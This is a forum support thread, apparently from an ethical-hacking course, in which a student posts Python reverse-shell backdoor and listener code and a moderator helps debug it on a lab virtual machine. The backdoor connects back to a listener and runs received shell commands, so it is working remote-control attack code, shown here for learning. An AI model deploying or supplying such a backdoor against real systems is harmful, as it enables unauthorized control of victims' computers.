- This topic has 7 replies, 2 voices, and was last updated 1 year, 5 months ago by Diego Pérez.
- AuthorPosts
- July 12, 2023 at 5:54 am #73291donatasParticipant
so this problem with the backdoor I was sorted it out but my pc broke down and I had to buy a new one and I had to re-code backdoor but this time i can’t fix this error as i did on old pc.
BackDoor Code:
#!/usr/bin/env python
import socket
import subprocess
import jsonclass Backdoor:
def __init__(self, ip, port):
self.connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.connection.connect((ip, port))def reliable_send(self, data):
json_data = json.dumps(data, ensure_ascii=False)
self.connection.sendall(json_data.encode())def reliable_receive(self):
json_data = “”
while True:
try:
json_data = self.connection.recv(1024)
return json.loads(json_data)
except ValueError:
continuedef execute_system_command(self, command):
return subprocess.check_output(command, shell=True)def run(self):
while True:
command = self.reliable_receive()
command_result = self.execute_system_command(command)
self.reliable_send(command_result)
self.connection.close()my_backdoor = Backdoor(“192.168.110.128”, 8080)
my_backdoor.run()LISTENER CODE:
#!/usr/bin/python
import socket, jsonclass Listener:
def __init__(self, ip, port):
listener = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
listener.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
listener.bind((ip, port))
listener.listen(0)
print(“[+] Waiting for incoming connections”)
self.connection, address = listener.accept()
print(“[+] Got a connection from ” + str(address))def reliable_send(self, data):
json_data = json.dumps(data)
self.connection.send(json_data)def reliable_receive(self):
json_data = “”
while True:
try:
json_data = + self.connection.recv(1024)
return json.loads(json_data)
except ValueError:
continuedef execute_remotely(self, command):
self.reliable_send(command)
return self.reliable_receive()def run(self):
while True:
command = raw_input(“>> “)
result = self.execute_remotely(command)
print(result)my_listener = Listener(“192.168.110.128”, 8080)
my_listener.run()Attachments:
You must be logged in to view attached files.July 12, 2023 at 8:38 pm #73303Diego PérezModeratorHi!
I suggest to write the backdoor just as Zaid does. I mean use connection.send instead of connection.sendall and with python 2 there’s no need to add .encode()Let me know how it goes!
DiegoJuly 13, 2023 at 9:37 am #73309donatasParticipanti’m still getting an error
Attachments:
You must be logged in to view attached files.July 14, 2023 at 12:00 am #73318Diego PérezModeratorHi!
Can you share the modified code? It would be better to use pastebin.com so I can read it with the proper format.
Are you using the windows virtual machine? Did you change the language?Greetings!
DiegoJuly 14, 2023 at 10:12 am #73319donatasParticipantJuly 15, 2023 at 7:58 pm #73333Diego PérezModeratorHi!
Is it working properly with the windows virtual machine?Greetings!
DiegoJuly 19, 2023 at 8:45 am #73381donatasParticipanti tried to open on the vm and this is the error i got
Attachments:
You must be logged in to view attached files.July 20, 2023 at 9:02 pm #73632Diego PérezModeratorHi!
In the listener on reliable_receive function you are missing “json_data” before the + symbol. Compare your code with Zaid’s code and ake sure both are exactly the same.Greetings!
Diego - AuthorPosts
- You must be logged in to reply to this topic.